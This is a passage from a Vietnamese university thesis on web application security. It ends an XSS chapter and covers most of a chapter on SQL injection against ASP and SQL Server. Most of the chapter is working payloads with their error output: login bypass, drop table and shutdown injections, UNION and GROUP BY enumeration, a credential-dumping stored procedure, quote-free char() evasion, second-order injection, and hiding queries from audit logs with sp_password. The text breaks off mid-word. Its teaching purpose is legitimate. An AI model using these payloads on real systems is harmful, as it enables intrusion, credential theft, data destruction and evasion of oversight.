Kĩ thuật XSS khá phổbiến và dễdàng áp dụng, tuy nhiên mứcđộthiệt hại chỉ dừng
lại ởmứcđộtấn công trên máy nạn nhân thông qua những liên kết hay form lừađảo
mà hackerđưađến cho nạn nhân. Vì thế, ngoài việcứng dụng kiểm tra tínhđúngđắn
của dữliệu trước khi sửdụng thì việc cần nhất là người dùng nên cảnh giác trước khi
bước vào một trang Web mới. Có thểnói, nhờvào sựcảnh giác của người dùng thì
90%đãđạt được sựbảo mậttrong kĩ thuật này. Tuy nhiên, trong chương 6, sựtấn
công lại nhắm vào máy chủ, nhằm thu thập thông tin trong cơsởdữliệu và từđó
giành quyền quản trịứng dụng.
57 trang |
Chia sẻ: lvbuiluyen | Lượt xem: 1926 | Lượt tải: 3
Bạn đang xem trước 20 trang tài liệu Nghiên cứu một số vấn đề về bảo mật ứng dụng web trên internet - Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (cross site scripting), để xem tài liệu hoàn chỉnh bạn click vào nút DOWNLOAD ở trên
Khoa CNTT
Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)
-Trang 55-
o Xóa những kí tự “ > ”, “ < ”
o Vẫn cho phép nhập những kí tự đặc biệt nhưng sẽ được mã hóa theo chuẩn
riêng.
• Đối với người dùng, cần cấu hình lại trình duyệt để nhắc nhở người dùng có cho
thực thi ngôn ngữ kịch bản trên máy của họ hay không? Tùy vào mức độ tin cậy
mà người dùng sẽ quyết định.
Nhận xét:
Kĩ thuật XSS khá phổ biến và dễ dàng áp dụng, tuy nhiên mức độ thiệt hại chỉ dừng
lại ở mức độ tấn công trên máy nạn nhân thông qua những liên kết hay form lừa đảo
mà hacker đưa đến cho nạn nhân. Vì thế, ngoài việc ứng dụng kiểm tra tính đúng đắn
của dữ liệu trước khi sử dụng thì việc cần nhất là người dùng nên cảnh giác trước khi
bước vào một trang Web mới. Có thể nói, nhờ vào sự cảnh giác của người dùng thì
90% đã đạt được sự bảo mật trong kĩ thuật này. Tuy nhiên, trong chương 6, sự tấn
công lại nhắm vào máy chủ, nhằm thu thập thông tin trong cơ sở dữ liệu và từ đó
giành quyền quản trị ứng dụng.
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 56-
Chương 6
CHÈN CÂU TRUY VẤN SQL
Nội dung:
I. Khái niệm SQL Injection
II. Giới thiệu mô hình cơ sở dữ liệu.
III. Các cách tấn công.
IV. Cách phòng chống .
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 57-
CHƯƠNG 6:
CHÈN CÂU TRUY VẤN SQL (SQL INJECTION)
DE
I. KHÁI NIỆM SQL INJECTION
SQL Injection là cách lợi dụng những lỗ hổng trong quá trình lập trình Web về phần
truy xuất cơ sở dữ liệu. Đây không chỉ là khuyết điểm của riêng SQL Server mà nó
còn là vấn đề chung cho toàn bộ các cơ sở dữ liệu khác như Oracle, MS Access hay
IBM DB2.
Khi hacker gửi những dữ liệu (thông qua các form), ứng dụng Web sẽ thực hiện và
trả về cho trình duyệt kết quả câu truy vấn hay những thông báo lỗi có liên quan đến
cơ sở dữ liệu. Và nhờ những thông tin này mà hacker biết được nội dung cơ sở dữ
liệu và từ đó có thể điều khiển toàn bộ hệ thống ứng dụng.
II. GIỚI THIỆU MÔ HÌNH CƠ SỞ DỮ LIỆU
Để trình bày tốt hơn nội dung kĩ thuật này, luận văn sử dụng bảng User để minh họa
kĩ thuật tấn công.
Bảng User:
STT Tên trường Cài đặt vật
lí
Kiểu
trường
Kích
thước
Diễn giải
1 tkUsername Khóa chính Text 50 Mỗi người dùng có 1
account để đăng nhập.
2 tkPassword Text 50 Password để đăng
nhập
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 58-
Quy ước:
Ngôn ngữ lập trình sử dụng để minh họa trong chương này là ASP với cơ sở dữ liệu
là SQL Server.
III. CÁC CÁCH TẤN CÔNG
III.1. Kĩ thuật tấn công SQL Injection
Dưới đây là kĩ thuật SQL injection đơn giản nhất, dùng để vượt qua các form
đăng nhập.
Ví dụ 6.III.1-1: giả sử ứng dụng web có đoạn mã sau:
SQLQuery= “SELECT tkUsername FROM User WHERE tkUsername= ‘” &
strUsername & “’ AND Password= ‘” & tkPassword & “’”
flag= GetQueryResult (SQLQuery)
if flag = “” then
check=FALSE
else
check=TRUE
end if
Đoạn mã trên kiểm tra chuỗi nhập Username và Password. Nếu tồn tại trong bảng
User thì check=true ngược lại check=false.
Giá tri nhập vào là:
Username: ’ OR ‘’=’
Password: ’ OR ‘’=’
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 59-
Câu lệnh SQL lúc này như sau:
SELECT tkUsername FROM User WHERE tkUsername= ‘’ OR ‘’=’‘ AND
Password= ‘’ OR ‘’=’’
Câu lệnh so sánh trên luôn luôn đúng (vì ‘’ luôn bằng ‘’). Do đó câu điều kiện
trong mệnh đề WHERE luôn đúng. Giá trị tên người sử dụng của dòng đầu tiên
trong bảng sẽ được chọn.
Kết hợp với kí tự đặc biệt của SQL :
• kí tự “ ; ” : đánh dấu kết thúc 1 câu truy vấn
• kí tự “--” : ẩn chuỗi kí tự phía sau nó trên cùng 1 dòng
Ví dụ 6.III.1-2:
Username: ’; drop table User--
Password:
Câu lệnh SQL lúc này như sau:
SELECT tkUsername FROM User WHERE tkUsername= ‘’;drop table
User-- AND Password= ‘” & tkPassword & “’”
Với câu lệnh trên thì bảng User sẽ bị xóa hoàn toàn.
Ví dụ 6.III.1-3: Một ví dụ khác sử dụng kí tự đặc biệt SQL để thâm nhập vào hệ
thống như sau:
Username: admin’--
Password:
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 60-
Câu lệnh SQL như sau:
SELECT tkUsername FROM User WHERE tkUsername= ‘admin’-- AND
Password= ‘” & tkPassword & “’”
Câu lệnh trên cho phép đăng nhập vào hệ thống với quyền admin mà không đòi
hỏi password.
III.2. Tấn công dưa vào câu lệnh SELECT
Ngoài kĩ thuật đơn giản trên, việc tấn công thường dựa trên những thông báo lỗi
để lấy thông tin về bảng cũng như những trường trong bảng. Để làm được điều
này, cần phải hiểu những thông báo lỗi và từ đó chỉnh sửa nội dung nhập cho phù
hợp.
Khái niệm Direct Injection:
Những đối số được thêm vào trong câu lệnh mà không nằm giữa những dấu nhấy
đơn hay dấu ngoặc kép là trường hợp direct injection. Ví dụ III.2.1
Ví dụ 6.III.2-1:
StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=”& tName
Khái niệm Quote Injection:
Những trường hợp đối số được nhập vào đều được ứng dụng cho vào giữa hai dấu
nháy đơn hay ngoặc kép là trường hợp Quote Injection. Ví dụ III.2.2
Ví dụ 6.III.2-2:
StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=’”& tName &
“’”
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 61-
Để vô hiệu hoá dấu nháy và thay đổi câu lệnh mà vẫn giữ được cú pháp đúng,
chuỗi mã chèn thêm vào phải có một dấu nháy đơn trước chuỗi kí tự được chèn
vào và ở cuối câu lệnh phải có một dấu nháy đơn, chẳng hạn như sau:
StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=’’ and
‘’=’’”
Nếu đã thực hiện như trên mà thông báo lỗi có liên quan đến dấu “(“ thì trong
chuỗi chèn vào phải có “)”:
Ví dụ 6.III.2-3: Giả sử:
StrSQL=“SELECT tkUsername FROM User WHERE (tkUsername=’”& tName
& “’”)
Thì cú pháp hợp lệ như sau:
StrSQL=“SELECT tkUsername FROM User WHERE (tkUsername=’’)or
‘’=’’”
Ngoài ra kí tự % thường được dùng trong những trường hợp tìm kiếm thông
tin.
Ví dụ 6.III.2-4:
StrSQL=“SELECT tkUsername FROM User WHERE tkUsername like ‘% “ &
tName & “’”
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 62-
III.3. Tấn công dựa vào câu lệnh HAVING
HAVING sử dụng cùng chung với mệnh đề GROUP BY là phương pháp hữu
hiệu để nhận thông tin bảng, trường… và sẽ được bàn sâu hơn trong phần 4.
III.4. Tấn công dựa vào câu lệnh kết hợp UNION
Lệnh SELECT được dùng để lấy thông tin từ cơ sở dữ liệu. Thông thường vị trí
có thể được chèn thêm vào một mệnh đề SELECT là sau WHERE. Để có thể trả
về nhiều dòng thông tin trong bảng, thay đổi điều kiện trong mệnh đề WHERE
bằng cách chèn thêm UNION SELECT.
Ví dụ 6.III.4-1:
StrSQL=“SELECT tkUsername FROM User WHERE tkUsername like ‘% “ &
tName & “’UNION SELECT tkPassword from User”
Câu lệnh trên trả về một tập kết quả là sự kết hợp giữa tkUsername với
tkPassword trong bảng User.
Ghi chú:
• Số cột trong hai câu SELECT phải khớp với nhau. Nghĩa là số lượng cột
trong câu lệnh SELECT ban đầu và câu lệnh UNION SELECT phía sau bằng
nhau và cùng kiểu.
Nhờ vào lỗi cú pháp trả về sau khi chèn thêm câu lệnh UNION mà có thể biết
kiểu của mỗi trường.
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 63-
Sau đây là những ví dụ được thực hiện khi không biết nội dung cơ sở dữ liệu dựa
vào HAVING, GROUP BY, UNION:
Ví dụ 6.III.4-2: Nhắc lại câu truy vấn cần để đăng nhập:
SQLQuery= “SELECT tkUsername,tkPassword FROM User WHERE
tkUsername= ‘” & strUsername & “’ AND Password= ‘” & tkPassword
& “’”
Đầu tiên, để biết tên bảng và tên trường mà câu truy vấn sử dụng, sử dụng câu
điều kiện “having” , như ví dụ sau:
Giá trị nhập vào:
Username: ’having 1=1--
Lỗi phát sinh:
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'User.tkUsername' is invalid in the select list because it is
not contained in an aggregate function and there is no GROUP BY
clause.
Nhờ vào lỗi phát sinh này mà biết được bảng sử dụng trong câu truy vấn là User
và trong bảng tồn tại một trường tên là tkUsername.
Sau đó sử dụng GROUP BY:
Ví dụ 6.III.4-3:
Username: ‘group by User.tkUsername having 1=1--
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 64-
Lỗi phát sinh:
[Microsoft][ODBC SQL Server Driver][SQL Server]
Column'User.tkPassword'is invalid in the select list because it
is not contained in either an aggregate function or the GROUP BY
clause.
Như vậy tkPassword là một trường của bảng User và được sử dụng trong câu truy
vấn.
Tiếp tục dùng GROUP BY cho đến khi biết được tất cả các trường trong bảng
User tham gia vào câu truy vấn.
Khi không còn báo lỗi cú pháp GROUP BY nữa thì chuyển qua công đoạn kiểm
tra kiểu của từng trường trong bảng. Lúc này UNION được sử dụng:
Ví dụ 6.III.4-4:
Username:’union select sum(tkUsername) from User
Lệnh sum là lệnh tính tổng cho đối số bên trong dấu ngoặc. Đối số phải là kiểu số.
Nếu đối số không là kiểu số thì phát sinh lỗi như sau:
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or
average aggregate operation cannot take a varchar data type as
an argument.
Như vậy với thông điệp lỗi như trên thì tkUsername chắc chắn phải là kiểu
“varchar”.
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 65-
Với phương pháp trên, dễ dàng xác định được kiểu của từng trường trong bảng.
Sau khi đã nhận đầy đủ trông tin trên thì hacker dễ dàng tự thêm thông tin vào
bảng User.
Ví dụ 6.III.4-5:
Username:’; insert into User(tkUsername,tkPassword) values
(‘admin’, ‘’)--
Hacker thêm nội dung như Ví dụ 6.III.4.2.4 bây giờ trở thành người quản trị mạng
mà không cần mật khẩu để chứng thực.
Ví dụ 6.III.4-6: minh hoạ một công đoạn sẽ giúp hacker đọc hết thông tin trong
bảng User:
• Bước 1: Tạo một Stored procedure để chép vào tất cả thông tin của 2 trường
tkUsername và tkPassword trong bảng User thành một chuỗi vào một bảng
mới là foo có một trường là ret bằng đoạn mã sau:
create proc test
as
begin
declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+tkUsername+'/'+tkPassword from User
select @ret as ret into foo
end
Thực thi câu lệnh bằng cách nhập vào form.
Username:’;Create proc test as begin declare @ret
varchar(8000) set @ret=’:’ select @ret=@ret+'
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 66-
'+tkUsername+'/'+tkPassword from User select @ret as ret into
foo
• Bước 2: Gọi Stored procedure đó
Sau khi đã tạo được stored procedure như trên, thực hiện lời gọi hàm:
Username:’;exec test
• Bước 3: Dùng UNION để xem nội dung bảng foo
Username:’;select ret,1 from foo union select 1,1 from foo
Lỗi phát sinh:
Microsoft OLE DB Provider for ODBC Drivers error
'80040e07'[Microsoft][ODBC SQL Server Driver][SQL
Server]Syntax error convertingthe varchar value ':
admin/passofAdmin nhimmap/passofnhimmap minhthu/passofminhthu'
to a column of data type int.
Qua một số công đoạn, hacker đã thu được nội dung của bảng User gồm có tên
tkUsername và mật khẩu tkPassword.
• Bước 4: Ngoài ra hacker còn có thể cẩn thận xoá bảng foo để xoá dấu vết:
Username: ‘; drop table foo--
Ví dụ 6.III.4-7: Còn đây là một cách khác để xác định nội dung của bảng User,
còn một phương pháp tìm kiếm thông tin như sau:
• Bước 1:
Tìm tuần tự từng dòng trên bảng User
Username:’union select 1,1
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 67-
hoặc :
Username:’union select min(tkUsername),1 from User where
tkUsername> ’a’--
Lỗi phát sinh:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the varchar value 'admin' to a column of data type
int.
Người đầu tiên trong bảng User là “admin”.
• Bước 2:
Để biết các giá trị tiếp theo, nhập chuỗi sau:
Username:’;select min(tkUsername),1 from User where
tkUsername> ’admin’union select 1,1 from User
Lỗi phát sinh:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting
the varchar value 'nhimmap' to a column of data type int.
• Bước 3:
Thực hiện như bước 2 cho ra kết quả là từng dòng với trường tkUsername
trong bảng User.
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 68-
• Bước 4:
Để biết thêm về tkPasswork, có thể thực hiện như sau:
Username:’;select tkPassword,1 from User where tkUsername=
’admin’union select 1,1 from User
Lỗi phát sinh:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting
the varchar value 'passOfAdmin' to a column of data type int.
Để biết thông tin về các bảng, cột trong cơ sở dữ liệu, có thể truy vấn bảng đến
bảng hệ thống INFORMATION_SCHEMA.TABLES.
Ví dụ 6.III.4-8:
select TABLE_NAME from INFORMATION_SCHEMA.TABLES
INFORMATION_SCHEMA.TABLES chứa thông tin về tất cả các table có trên
server. Trường TABLE_NAME chứa tên của mỗi table trong cơ sở dữ liệu.
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME='User'
Câu lệnh trên được sử dụng để biết thông tin về cột trong bảng.
Ngoài ra còn có thể dùng UNION để biết các biến môi trường của SQL Server.
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 69-
Ví dụ 6.III.4-9: Để biết ứng dụng đang chạy trên Server nào, có thể xác định bằng
cách sau:
Username:’;select @@SERVERNAME union select 1
Lỗi phát sinh:
Microsoft OLE DB Provider for ODBC Drivers error
'80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the varchar value 'KHOAI_NGU' to a column of
data type int.
III.5. Tấn công dưa vào lệnh INSERT
Từ khoá INSERT dùng để đưa thông tin vào cơ sở dữ liệu. Thông thường câu
lệnh INSERT được dùng trong các trường hợp như: thông tin đăng kí người sử
dụng, guestbook…v..v…
Kĩ thuật “;”, “--“ được dùng như đã từng dùng với câu lệnh SELECT, phải đảm
bảo đúng số lượng và kiểu giá trị được nhập vào nhằm tránh lỗi về cú pháp (nếu
không xác định được kiểu dữ liệu có thể nhập tất cả là số).
Ví dụ 6.III.5-1:
SQLString= “INSERT INTO User VALUES (‘” & strUsername & “’, ‘” &
strName& “’, ‘” & strPassWord & “’,’”& strLimitSize & “’)”
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 70-
III.6. Tấn công dưa vào STORED PROCEDURE
Stored Procedure được sử dụng trong lập trình Web với mục đích giảm sự phức
tạp trong ứng dụng và tránh sự tấn công trong kĩ thuật SQL Injection. Tuy nhiên
hacker vẫn có thể lợi dụng những Stored Procedure để tấn công vào hệ thống.
Ví dụ 6.III.6-1: Stored procedure sp_login gồm hai tham số là username và
password. Nếu nhập:
Username: nhimmap
Password: ‘;shutdown--
Lệnh gọi stored procedure như sau:
exec sp_login ‘nhimmap’,‘’;shutdown--’
Lệnh shutdown thực hiện dừng SQL Server ngay lập tức.
III.7. Nâng cao
III.7.1. Chuỗi kí tự không có dấu nháy đơn:
Những nhà lập trình có thể bảo vệ ứng dụng của họ bằng cách loại bỏ tất cả
dấu nháy, thông thường loại bỏ dấu nháy bằng cách thay một dấu nháy thành 2
dấu nháy.
Ví dụ 6.III.7.1-1:
Function escape (input)
Input=replace(input, “’”, “’’”)
escape=input
end function
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 71-
Rõ ràng là, nó ngăn chặn được tất cả những kiểu tấn công trên. Tuy nhiên nếu
muốn tạo ra một chuỗi giá trị mà không dùng các dấu nháy, có thể dùng hàm
“char()” như ví dụ sau:
Ví dụ 6.III.7.1-2:
INSERT into User VALUES(666, char(0x63) +char(0x68)
+char(0x72) char(0x69) +char(0x73) ,char(0x63) +char(0x68)
+char(0x72) +char(0x69) +char(0x73),0xffff)
Ví dụ 6.III.7.1-3 trên tuy là một câu truy vấn không có dấu nháy đơn nào
nhưng nó vẫn có thể insert chuỗi vào bảng, và tương đương với:
INSERT into User VALUES( 666,’chris’,’chris’,255)
Hacker cũng có thể chọn username , password là số để tránh dấu nháy như ví
dụ sau:
Ví dụ 6.III.7.1-4:
INSERT into User VALUES( 667,123,123,0xffff)
SQL server sẽ tự động chuyển từ số sang chuỗi.
III.7.2. Tấn công 2 tầng
Mặc dù ứng dụng đã thay thế dấu nháy đơn nhưng vẫn còn khả năng bị chèn
đoạn mã SQL .
Ví dụ 6.III.7.2-1: Để đăng kí account trong ứng dụng, nhập username như sau:
Username: admin'—
Password: passofadmin
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 72-
Ứng dụng sẽ thay thế dấu nháy, kết quả trong câu insert sẽ như sau:
INSERT into User VALUES(123, 'admin''--', 'password',0xffff)
(nhưng trong cơ sở dữ liệu sẽ lưu là “admin’--“)
Giả sử rằng ứng dụng cho phép người dùng thay đổi mật khẩu. Các đoạn mã
ASP được thiết kế đảm bảo rằng người sử dụng phải nhập đúng mật khẩu cũ
trước khi nhập mật khẩu mới. Đoạn mã như sau:
username = escape( Request.form("username") );
oldpassword = escape( Request.form("oldpassword") );
newpassword = escape( Request.form("newpassword") );
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username
+ "' and password = '" + oldpassword + "'";
rso.open( sql, cn );
if (rso.EOF)
{…
Câu truy vấn thiết lập mật khẩu mới như sau:
sql = "update users set password = '" + newpassword + "' where
username= '" + rso("username") + "'"
rso(“username”) chính là giá trị username có được câu truy vấn login và nó là
admin’--
Câu truy vấn lúc này như sau:
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 73-
update users set password = 'password' where username =
'admin'--'
Nhờ đó hacker có thể thay đổi mật khẩu của admin bằng giá trị của mình.
Đây là 1 trường hợp còn tồn tại trong hầu hết những ứng dụng lớn ngày nay có
sử dụng cơ chế loại bỏ dữ liệu. Giải pháp tốt nhất là loại bỏ những giá trị lỗi
hơn là chỉnh sửa lại. Nhưng có một vấn đề là có một số ô nhập dữ liệu (như ô
nhập tên) cho phép những kí tự này. Ví dụ: O’Brien.
Cách tốt nhất để giải quyết vấn đề này là không cho phép nhập dấu nháy đơn.
Nếu điều này không thể thực hiện được , thì loại bỏ và thay thế như trên.
Trong trường hợp này, cách tốt nhất là đảm bảo tất cả dữ liệu được đưa vào
câu truy vấn SQL (kể cả những giá trị trong cơ sở dữ liệu) phải được kiểm
soát một cách chặt chẽ.
Một số ứng dụng phòng chống việc thêm câu truy vấn từ người dùng bằng
cách giới hạn chiều dài của ô nhập. Tuy nhiên, với giới hạn này thì một số
kiểu tấn công không thể thực hiện được nhưng vẫn có chỗ hở để hacker lợi
dụng.
Ví dụ 6.III.7.2-2:
Giả sử cả username và password đều bị giới hạn tối đa là 16 kí tự. Nhập:
Username: aaaaaaaaaaaaaaa’
Password :‘; shutdown--
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 74-
Ứng dụng sẽ thay thế một dấu nháy đơn bằng hai dấu nháy đơn nhưng do
chiều dài chuỗi bị giới hạn chỉ là 16 kí tự nên dấu nháy đơn vừa được thêm sẽ
bị xoá mất. Câu lệnh SQL như sau:
Select * from users where username=’aaaaaaaaaaaaaaa’’ and
password=’’’; shutdown—‘
kết quả là username trong câu lệnh có giá trị là:
aaaaaaaaaaaaaaa’ and password=’
III.7.3. Tránh sự kiểm soát:
SQL server có một giao thức kiểm soát chặt chẽ bằng họ hàm sp_traceXXX,
cho phép ghi nhân nhiều sự kiện xảy ra trong cơ sở dữ liệu. Đặc biệt là các sự
kiện T-SQL, ghi nhận lại tất cả các câu lệnh SQL thực hiện trên Server. Nếu
chế độ kiểm soát được bật thì tất cả các câu truy vấn SQL của hacker cũng bị
ghi nhận và nhờ đó mà một người quản trị có thể kiểm soát những gì đang xảy
ra và nhanh chóng tìm ra được giải pháp. Nhưng cũng có một cách để chống
lại điều này, bằng cách thêm dòng “sp_password” vào câu lệnh T-SQL, vì khi
gặp chuỗi này thì việc kiểm tra sẽ ghi nhận như sau:
-- ‘sp_password’ was found in the text of this event.
-- The text has benn replaced with this comment for security
reasons.
ngay cả khi “sp_password” xuất hiện trong phần chú thích.
Vì thế để dấu tất cả câu truy vấn tấn công, chỉ cần đơn giản là thêm
sp_password vào sau ‘--’ như sau:
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 75-
Username:admin’--sp_password
III.7.4. Dùng Extended Stored Procedure
III.7.4.1. Dùng Extended Stored Procedure có sẵn trong hệ thống
SQL Server
Nếu cài SQL Server ở chế độ mặc định thì SQL Server chạy trên nền
SYSTEM, tương đương mức truy cập ở Windows. Có thể dùng
maste